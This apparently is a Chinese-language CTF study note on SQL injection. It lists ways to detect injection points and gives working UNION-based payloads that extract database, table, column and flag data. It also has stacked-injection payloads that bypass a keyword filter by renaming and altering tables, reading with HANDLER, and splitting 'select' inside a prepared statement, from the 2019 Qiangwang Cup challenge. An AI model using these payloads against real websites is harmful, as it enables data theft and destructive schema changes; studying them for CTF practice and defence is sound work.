15:29:48下面列举常见的判断SQL注入的方式。但是目前大部分网站都对此有防御,真正发现网页存在SQL注入漏洞,还得靠技术和经验了。
二话不说,先加单引号、双引号、单括号、双括号等看看是否报错,如果报错就肯定存在SQL注入漏洞了。
还有在URL后面加and 1=1 、 and 1=2看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。
尝试sql注入猜字段(实列讲解,猜测):
1‘ order by 3# 返回正常
1‘ order by 4# 错误
1‘ union select 1,2,3#
爆数据库名:
1‘ union select 1,database(),3#
爆表名:
1‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news"#
爆列名:
1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #
读数据:
1‘ union select 1,fl4g,3 from secret_table#
so easy!!!
总结流程:
1.寻找注入点(基于报错、基于布尔值、基于时间盲注、基于联合查询)
2.判断是注入点之后丢sqlmap或者选择手工注入
3.手工注入的话爆出当前数据库名(如果盲注的话使用二分法猜解)
4.猜解表名
5.猜解字段名
6.猜解数据
然后学习刷题深入(堆叠注入):
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); #关键字都被过滤标志
利用堆叠注入,查询所有数据库:1‘;show databases;#
查询所有表:1‘;show tables;#
查询表中所有列:1‘;show columns from words;#
查询表中所有列:1‘;show columns from `1919810931114514`;# (字符串为表名操作时要加反引号)
因发现过滤标志但没有禁用rename和alert。 so呢? 采用修改表结构的方法来得到flag
1‘;rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id
(太麻烦吗。有点哦!换一种方法:使用handler查询,payload如下:-1‘;handler `1919810931114514` open;handler `1919810931114514` read first;#)
oh my god!
到此为止了吗? 不不不,look down:
2019强网杯"随便注"学习:
啥东西?看不懂啊! 看看百度叭.....(网络如此强大,要学会利用)
1. 探测有无注入
2. 尝试获取列数
3. 尝试获取数据库名,用户等基本信息:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); #好吧,又被过滤了
1. 接下来我们尝试堆叠注入能否可行。
-1‘;show tables# 原来如此!!!(还是尝试出来的,太难了)
2. 堆叠注入可行,然后看一下表的字段
3. 查数据 上一步我们可以得知flag存在于supersqli数据库中的1919810931114514表的flag字段。
select * from `1919810931114514`;(select被过滤了,想办法叭)
4.构造payload:-1‘;set @sql = CONCAT(‘se‘,‘lect * from `1919810931114514`;‘);prepare stmt from @sql;EXECUTE stmt;#
15:18:59
先到这叭,后续更新...